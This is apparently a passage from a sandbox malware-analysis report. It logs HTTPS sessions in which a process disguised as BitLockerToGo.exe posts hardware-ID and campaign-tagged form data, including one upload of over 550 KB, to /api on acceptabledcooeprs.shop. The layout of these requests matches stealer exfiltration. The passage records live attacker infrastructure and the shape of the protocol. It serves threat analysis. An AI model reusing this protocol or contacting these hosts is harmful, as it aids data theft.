5a 6a 75 41 2f 77 2f 36 75 Data Ascii: ObObMIC+6jiqOEZ703szMiTuS/gyAsxyRmO9D/D/q429clrwUSSxvjnjX78I4Skh5u6Z/jEI1arX4/pc5q65hbqxmTBAvmi46zkGuFH4cXGnbosr41mGuwx4oc/nKSuS6CCVMQS7b3r6Y1++gWHpN703UzggW8a+hvJ7W2RtuAW7cdmyAP3q+uj7B3jRObdxJC4IK6KbVeoWoSsMfPXhVPl2iWfRrqB4KTLHulMr6esg/hPy58LMckZjuA/w/6u
2024-05-03 08:12:16 UTC	1369	IN	Data Raw: 6e 43 44 50 2b 73 37 36 50 74 47 75 70 5a 37 73 44 4f 6d 37 30 71 72 34 68 6d 56 4c 42 65 67 75 64 33 6b 72 4c 6f 55 36 79 71 44 71 78 45 2f 62 57 6e 38 61 64 56 30 30 6a 68 78 4e 61 54 74 53 76 67 37 67 68 46 37 44 48 69 39 52 66 77 31 36 34 55 37 6f 49 39 68 55 54 32 6f 2b 65 6d 36 52 6e 75 51 2b 37 44 79 5a 75 7a 4c 71 69 4f 63 56 75 6d 55 59 6a 69 63 4a 71 34 36 78 62 6d 78 57 48 42 43 37 72 6a 6a 38 4b 4f 56 65 4a 54 72 35 65 46 33 4a 6b 67 74 61 64 5a 47 73 6f 79 6c 71 49 58 38 4b 57 47 65 49 6d 43 59 73 74 45 6f 75 2b 6e 6f 2b 34 52 35 6b 2f 71 77 4d 61 64 73 44 57 6e 6a 33 46 55 72 31 61 42 35 48 61 61 75 4f 73 65 35 4d 35 76 78 67 50 30 6f 2b 2f 70 71 33 32 4f 49 4b 2f 49 33 39 7a 75 5a 65 43 6e 63 30 47 77 54 34 54 4e 63 70 54 38 68 6e 6a 39 6a Data Ascii: nCDP+s76PtGupZ7sDOm70qr4hmVLBegud3krLoU6yqDqxE/bWn8adV00jhxNaTtSvg7ghF7DHi9Rfw164U7oI9hUT2o+em6RnuQ+7DyZuzLqiOcVumUYjicJq46xbmxWHBC7rjj8KOVeJTr5eF3JkgtadZGsoylqIX8KWGeImCYstEou+no+4R5k/qwMadsDWnj3FUr1aB5HaauOse5M5vxgP0o+/pq32OIK/I39zuZeCnc0GwT4TNcpT8hnj9j
2024-05-03 08:12:16 UTC	1369	IN	Data Raw: 78 70 65 69 37 34 42 7a 74 54 2b 62 50 77 35 61 37 49 4b 43 44 62 6c 2b 6d 56 34 33 72 66 35 65 7a 36 52 76 74 78 6d 58 49 52 4c 54 46 6a 4d 4b 6c 45 76 30 4c 74 34 32 48 76 4c 30 78 67 59 68 6f 53 4f 49 78 34 76 4d 78 38 39 66 33 65 34 6d 70 4a 63 41 49 75 76 57 6c 36 65 73 63 35 45 50 68 77 38 2b 59 70 43 65 72 6a 32 78 62 72 56 6d 4b 37 58 57 54 72 75 67 54 36 63 70 69 7a 77 44 30 76 2b 61 6d 70 56 75 4e 49 49 53 50 77 49 54 32 66 2b 4c 47 55 6b 79 6c 58 6f 61 75 56 70 79 6e 37 78 6e 68 79 57 6d 48 62 4a 47 79 71 63 47 4f 44 49 30 67 68 49 2f 41 6b 50 5a 2f 34 73 5a 75 56 71 39 64 6d 2b 42 2f 6d 37 58 70 47 66 44 4e 61 73 6f 48 2b 71 6a 31 71 50 63 61 37 6b 37 73 79 38 69 54 75 69 2b 71 78 69 30 79 79 54 4c 4a 36 32 66 62 35 4b 78 54 7a 73 46 30 7a 55 Data Ascii: xpei74BztT+bPw5a7IKCDbl+mV43rf5ez6RvtxmXIRLTFjMKlEv0Lt42HvL0xgYhoSOIx4vMx89f3e4mpJcAIuvWl6esc5EPhw8+YpCerj2xbrVmK7XWTrugT6cpizwD0v+ampVuNIISPwIT2f+LGUkylXoauVpyn7xnhyWmHbJGyqcGODI0ghI/AkPZ/4sZuVq9dm+B/m7XpGfDNasoH+qj1qPca7k7sy8iTui+qxi0yyTLJ62fb5KxTzsF0zU
2024-05-03 08:12:16 UTC	1369	IN	Data Raw: 77 6f 35 56 34 6c 4f 76 6c 34 58 63 6c 54 43 32 6a 48 67 61 79 6a 4b 57 6f 68 66 77 70 59 5a 34 69 59 4a 69 79 30 53 69 37 36 65 6b 34 68 76 74 54 65 48 4a 31 5a 43 35 49 61 43 48 61 56 65 75 55 6f 37 69 64 4a 32 35 34 78 50 6b 78 47 48 44 41 50 53 75 70 2b 65 4e 66 6f 34 4c 36 4e 65 48 78 50 52 6e 68 36 74 53 47 49 46 4f 6e 2b 5a 34 6c 36 72 6c 45 75 48 55 61 4e 64 45 6b 73 62 34 35 34 31 2b 2f 43 4f 45 70 49 65 62 75 6d 66 34 78 43 4e 52 72 46 79 49 34 48 57 63 73 76 77 53 36 4d 35 6b 77 41 50 78 76 2b 79 37 37 68 33 6d 52 65 66 47 78 35 4b 32 4a 71 32 47 49 78 54 4b 4d 75 4b 73 65 49 50 38 74 6c 47 69 35 30 62 51 45 76 44 76 78 4c 37 7a 48 2b 4a 48 2b 63 54 47 6e 36 41 71 73 4d 59 4c 4d 62 30 58 34 59 64 6d 38 39 65 46 55 2b 58 4f 4a 5a 39 47 75 71 62 Data Ascii: wo5V4lOvl4XclTC2jHgayjKWohfwpYZ4iYJiy0Si76ek4hvtTeHJ1ZC5IaCHaVeuUo7idJ254xPkxGHDAPSup+eNfo4L6NeHxPRnh6tSGIFOn+Z4l6rlEuHUaNdEksb4541+/COEpIebumf4xCNRrFyI4HWcsvwS6M5kwAPxv+y77h3mRefGx5K2Jq2GIxTKMuKseIP8tlGi50bQEvDvxL7zH+JH+cTGn6AqsMYLMb0X4Ydm89eFU+XOJZ9Guqb
2024-05-03 08:12:16 UTC	1369	IN	Data Raw: 62 30 4a 76 34 47 76 39 39 31 6e 70 4a 63 6a 41 75 41 4a 32 37 63 71 79 4f 75 2b 51 59 71 70 65 6f 6c 73 6b 62 53 50 77 6f 35 56 38 77 75 33 6a 5a 58 53 33 6b 7a 4c 78 6e 45 61 2b 68 76 4a 71 33 47 57 76 65 30 64 34 64 42 33 77 51 66 73 72 71 43 58 32 7a 54 6f 51 4f 50 43 79 4a 65 49 47 59 47 4c 61 46 61 76 56 6f 4c 53 51 59 36 2f 34 42 33 6c 31 48 53 48 53 70 4c 47 6a 4f 6e 71 56 62 30 4a 31 6f 2b 50 33 49 6c 70 79 4f 30 49 47 72 6f 5a 30 61 34 2f 72 72 2f 67 48 65 58 55 64 49 6f 6c 39 36 62 72 70 4f 6f 65 70 51 57 48 70 4b 7a 63 73 47 66 34 78 44 4d 55 79 6a 4c 69 72 48 75 4b 2f 4c 5a 52 73 70 41 2b 6b 6c 65 74 2f 62 58 42 6a 67 71 72 49 34 54 57 72 2f 66 64 5a 37 62 47 4f 78 6a 77 46 2b 47 48 46 4e 75 75 72 6b 75 67 67 69 4c 45 46 75 69 72 35 4c 2f 6d Data Ascii: b0Jv4Gv991npJcjAuAJ27cqyOu+QYqpeolskbSPwo5V8wu3jZXS3kzLxnEa+hvJq3GWve0d4dB3wQfsrqCX2zToQOPCyJeIGYGLaFavVoLSQY6/4B3l1HSHSpLGjOnqVb0J1o+P3IlpyO0IGroZ0a4/rr/gHeXUdIol96brpOoepQWHpKzcsGf4xDMUyjLirHuK/LZRspA+klet/bXBjgqrI4TWr/fdZ7bGOxjwF+GHFNuurkuggiLEFuir5L/m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	104.21.59.156	443	6644	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-03 08:12:18 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18162 Host: acceptabledcooeprs.shop
2024-05-03 08:12:18 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 37 45 44 46 34 39 35 34 33 42 44 30 43 30 36 33 33 46 43 44 44 33 38 32 33 46 38 42 46 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 70 73 47 56 46 2d 2d 4e 45 57 31 0d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC7EDF49543BD0C0633FCDD3823F8BF2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xpsGVF--NEW1
2024-05-03 08:12:18 UTC	2831	OUT	Data Raw: cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a Data Ascii: 2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R
2024-05-03 08:12:18 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 08:12:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1h12lunuenpijmjetgd2vojvhs; expires=Tue, 27-Aug-2024 01:58:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uMwEeZWbQvtD6pdQfQn0Jkr3ojYGUnfqgjt90gOr3Hq%2BT97n9FCXB3JbX%2B24D9TfXsEoQW%2B7czyOytEqZ7GA4XbmRIcAU9V%2FE6qoEngedEcn9LmfvE0BZSYcsmssC050zpXw3KZ%2BS6rn0Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87dec905b89c421f-EWR alt-svc: h3=":443"; ma=86400
2024-05-03 08:12:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 32 31 39 0d 0a Data Ascii: 11ok 191.96.227.219
2024-05-03 08:12:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	104.21.59.156	443	6644	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-03 08:12:19 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8783 Host: acceptabledcooeprs.shop
2024-05-03 08:12:19 UTC	8783	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 37 45 44 46 34 39 35 34 33 42 44 30 43 30 36 33 33 46 43 44 44 33 38 32 33 46 38 42 46 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 70 73 47 56 46 2d 2d 4e 45 57 31 0d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC7EDF49543BD0C0633FCDD3823F8BF2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xpsGVF--NEW1
2024-05-03 08:12:19 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 08:12:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8faq1scn8a0oa6unkfjit148bh; expires=Tue, 27-Aug-2024 01:58:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UDMSxZxF7435b%2Fi%2FxAu2r52mmAJANqm1DYP%2FsUFVs0DMUOdGs5R02HeEwDBEVUeJQWNCiMPtoE5tNhx%2F2nv4tfLUmRl5zvUgh6LZmVn3dfReKxVNleJYJ7671fPs2pY49YhdYATMZBup3w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87dec90b6b188c7e-EWR alt-svc: h3=":443"; ma=86400
2024-05-03 08:12:19 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 32 31 39 0d 0a Data Ascii: 11ok 191.96.227.219
2024-05-03 08:12:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	104.21.59.156	443	6644	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-03 08:12:19 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20436 Host: acceptabledcooeprs.shop
2024-05-03 08:12:19 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 37 45 44 46 34 39 35 34 33 42 44 30 43 30 36 33 33 46 43 44 44 33 38 32 33 46 38 42 46 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 70 73 47 56 46 2d 2d 4e 45 57 31 0d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC7EDF49543BD0C0633FCDD3823F8BF2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xpsGVF--NEW1
2024-05-03 08:12:19 UTC	5105	OUT	Data Raw: 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-03 08:12:20 UTC	820	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 08:12:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fe8p33sc5e35v31612l3thi9ki; expires=Tue, 27-Aug-2024 01:58:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5qkhNznFKeZVWxrADT5mSeJrf3jBG8%2F%2BGRBvSsZeNngrrMEGRU5TSBXgg32LGf4XL932JF13PTlcfHoz6os8v3foy36f6VFG3uEMHgWZ%2B4JyzHsT%2BR7fBDJ%2FtlpjNA1FkCmt%2BC%2F6wMflZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87dec91088368c5f-EWR alt-svc: h3=":443"; ma=86400
2024-05-03 08:12:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 32 31 39 0d 0a Data Ascii: 11ok 191.96.227.219
2024-05-03 08:12:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	104.21.59.156	443	6644	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-03 08:12:20 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 3797 Host: acceptabledcooeprs.shop
2024-05-03 08:12:20 UTC	3797	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 37 45 44 46 34 39 35 34 33 42 44 30 43 30 36 33 33 46 43 44 44 33 38 32 33 46 38 42 46 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 70 73 47 56 46 2d 2d 4e 45 57 31 0d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC7EDF49543BD0C0633FCDD3823F8BF2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xpsGVF--NEW1
2024-05-03 08:12:21 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 08:12:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1j3617lt1dddebu8ualrfjathd; expires=Tue, 27-Aug-2024 01:59:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jPWeiXqc4IIj9B6lD%2FfigwwnpvGz%2BVQobjI4jvuHjyhgAmtlo3ek0PakFgLXjYdN%2FtzCIjHIMiZepnZvT%2BCWnrOZLp5NTBe4ncf7LMjfGat5p%2BR9Nrj5dZNkE%2BYpTS1gvlhZSmZN1BTVSw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87dec915b8bc4216-EWR alt-svc: h3=":443"; ma=86400
2024-05-03 08:12:21 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 32 31 39 0d 0a Data Ascii: 11ok 191.96.227.219
2024-05-03 08:12:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	104.21.59.156	443	6644	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-03 08:12:22 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1392 Host: acceptabledcooeprs.shop
2024-05-03 08:12:22 UTC	1392	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 37 45 44 46 34 39 35 34 33 42 44 30 43 30 36 33 33 46 43 44 44 33 38 32 33 46 38 42 46 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 70 73 47 56 46 2d 2d 4e 45 57 31 0d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC7EDF49543BD0C0633FCDD3823F8BF2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xpsGVF--NEW1
2024-05-03 08:12:22 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 08:12:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p0vd5qerue242knnpljlo3ckoc; expires=Tue, 27-Aug-2024 01:59:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2trO2kzIjeCoe7eWCOv6FT6VGmqRkfXv%2FhONR9ww38l571DMV79ZUiNJYqmmkozb0pyxEn8OBcbnLwETBbU%2BsR7kNzDnJrq%2FJwYLhZ8%2BhdxZ6VjVOeeh5%2B0gQHXM1xh9zmIDeQfVvZxGZg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87dec92119810f97-EWR alt-svc: h3=":443"; ma=86400
2024-05-03 08:12:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 32 31 39 0d 0a Data Ascii: 11ok 191.96.227.219
2024-05-03 08:12:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	104.21.59.156	443	6644	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-03 08:12:23 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551489 Host: acceptabledcooeprs.shop
2024-05-03 08:12:23 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 37 45 44 46 34 39 35 34 33 42 44 30 43 30 36 33 33 46 43 44 44 33 38 32 33 46 38 42 46 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 70 73 47 56 46 2d 2d 4e 45 57 31 0d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC7EDF49543BD0C0633FCDD3823F8BF2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xpsGVF--NEW1
